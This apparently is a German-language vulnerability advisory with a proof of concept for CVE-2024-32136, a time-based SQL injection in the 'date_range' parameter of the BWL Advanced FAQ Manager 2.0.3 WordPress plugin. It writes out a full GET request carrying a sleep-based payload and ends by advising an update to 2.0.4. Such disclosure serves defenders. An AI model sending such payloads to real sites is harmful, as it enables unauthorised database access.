
Proof-of-concept-Exploit für CVE-2024-32136, eine SQL-Injection nach der Authentifizierung in BWL Advanced FAQ Manager 2.0.3, die zeitbasierte Datenbankmanipulation über den Parameter 'date_range' demonstriert.
Exploit-Titel: BWL Advanced FAQ Manager 2.0.3 - Post-Authenticated SQL Injection
Datum: 14. April 2024
Exploit-Autor: Ivan Spiridonov (xbz0n)
Software-Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Version: 2.0.3
Getestet auf: Ubuntu 20.04
CVE: CVE-2024-32136
SQL-Injection ist eine Art von Sicherheitslücke, die es einem Angreifer ermöglicht, in die Datenbankabfragen einer Anwendung einzugreifen. Dabei wird in der Regel eine SQL-Abfrage über die vom Client eingegebenen Daten in die Anwendung eingeschleust („Injection“). Ein erfolgreicher SQL-Injection-Angriff kann vertrauliche Daten aus der Datenbank auslesen, Daten in der Datenbank ändern (Insert/Update/Delete), Verwaltungsoperationen auf der Datenbank ausführen (z. B. Herunterfahren des DBMS), den Inhalt einer Datei im DBMS-Dateisystem wiederherstellen und in einigen Fällen Befehle an das Betriebssystem senden.
Die Schwachstelle liegt im Parameter 'date_range', der auf der Seite 'bwl-advanced-faq-analytics' des BWL Advanced FAQ Manager-Plugins verwendet wird. Authentifizierte Angreifer können durch Manipulation der Eingabe in diesem Parameter beliebige SQL-Befehle in der Datenbank ausführen.
Die folgende GET-Anfrage demonstriert die Schwachstelle:
GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Wenn die Serverantwort um etwa 20 Sekunden verzögert wird, deutet dies auf eine erfolgreiche Ausnutzung der zeitbasierten SQL-Injection hin und bestätigt die Schwachstelle.
Benutzern von BWL Advanced FAQ Manager v2.0.3 wird empfohlen, das Plugin auf die behobene Version v2.0.4 zu aktualisieren.